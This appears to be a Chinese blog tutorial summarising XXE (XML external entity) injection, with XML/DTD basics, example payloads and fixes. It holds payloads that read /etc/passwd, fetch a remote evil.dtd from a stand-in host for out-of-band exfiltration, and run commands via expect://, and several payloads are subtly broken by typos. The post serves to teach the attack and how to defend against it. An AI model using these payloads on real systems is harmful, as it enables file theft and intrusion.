zoukankan      html  css  js  c++  java
  • XXE总结

    0x00 目录

     

    0x01 XML基础

    定义:一种标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    <!--XML声明-->
    <?xml version="1.0"?> 
    <!--文档类型定义-->
    <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    

    DTD

    内部声明DTD:

    <!DOCTYPE 根元素 [元素声明]>  

    外部声明DTD:

    <!DOCTYPE 根元素 SYSTEM "文件名">

    DTD中的一些重要的关键字:

    • DOCTYPE(DTD的声明)
    • ENTITY(实体的声明)
    • SYSTEM、PUBLIC(外部资源申请)

    实体类别介绍

    实体主要分为两类

    1  一般实体:内置实体/字符实体/通用实体

    2  参数实体

    举例:
    内部实体

    <!ENTITY 实体名称 "实体内容">

    外部实体

    <!ENTITY 实体名称 SYSTEM "URI">

    参数实体

    <!ENTITY % 实体名称 "实体内容">
    或者
    <!ENTITY % 实体名称 "URI">

    外部实体

    默认协议

    PHP扩展协议 

    举例:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
    <foo>
            <value>&passwd;</value>
    </foo>

    0x02 XXE漏洞

    XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    举例

    1. 恶意引入外部实体(1)
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
    <a>
            <value>&passwd;</value>
    </a>
    1. 恶意引入外部实体(2)
    **XML内容**
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
                    <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
                    %d;
    ]>
    <aaa>&b;</aaa>

    **DTD文件内容**
    <!ENTITY b SYSTEM "file:///etc/passwd">
    1. 恶意引入外部实体(3)
    **xml文件内容**
    <?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
                    <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
    ]>
    <a>&b;</a>
    
    
    **DTD文件内容**
    <!ENTITY b SYSTEM "file:///etc/passwd">

    XXE的危害

    1.读取任意文件 - 有回显

    **xml.php**
    
    <?php 
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY f SYSTEM "file:///etc/passwd">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?> 

                               - 无回显,可以将文件内容发送到远程服务器,然后读取。

    **xx.xml**
    <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);

    **evil.dtd**
    <ENTITY b SYSTEM "file:///etc/passwd">

    2.命令执行

    php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

    <?php 
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY f SYSTEM "except://ls">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>

    3.内网探测/SSRF

    由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

    0x03 XXE漏洞修复与防御

    xmllib2.9.0以后,默认不解析外部实体的。

    1.使用开发语言提供的禁用外部实体的方法

    PHP:
    libxml_disable_entity_loader(true);
    JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
    Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

    2.过滤用户提交的XML数据
    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

    0x04 总结

    XXE的高阶玩法很多,但究其原理都一样。“千里之堤,始于足下;百丈之台,始于垒土。”

    XXE漏洞学习从入门到放弃:https://www.jianshu.com/p/77f2181587a4

    XXE萌新进阶全攻略:https://www.freebuf.com/vuls/194112.html

    XXE进阶——OOB攻击:https://www.jianshu.com/p/be4d7d5f799c

    DTD/XXE 攻击笔记分享:https://www.freebuf.com/articles/web/97833.html

    google“XXE进阶/全攻略/oob(out of band)”

  • 相关阅读:
    ExcelUtil工具类-1
    图论-floyd算法-python实现
    流式编程一些简单的例子
    利用Stream实现简单的等差数列求和
    根据主机IP列表自动部署指定规模的redis cluster
    使用cgroup限制磁盘io读写速率
    consul kv导出和导入(备份)
    mysql8.0 运维相关新特性(未完待续)
    Rider写ASP.NET MVC调试报错
    网络协议知识串讲:搭建一个网络试验环境:授人以鱼不如授人以渔
  • 原文地址:https://www.cnblogs.com/p0pl4r/p/10335752.html
Copyright © 2011-2022 走看看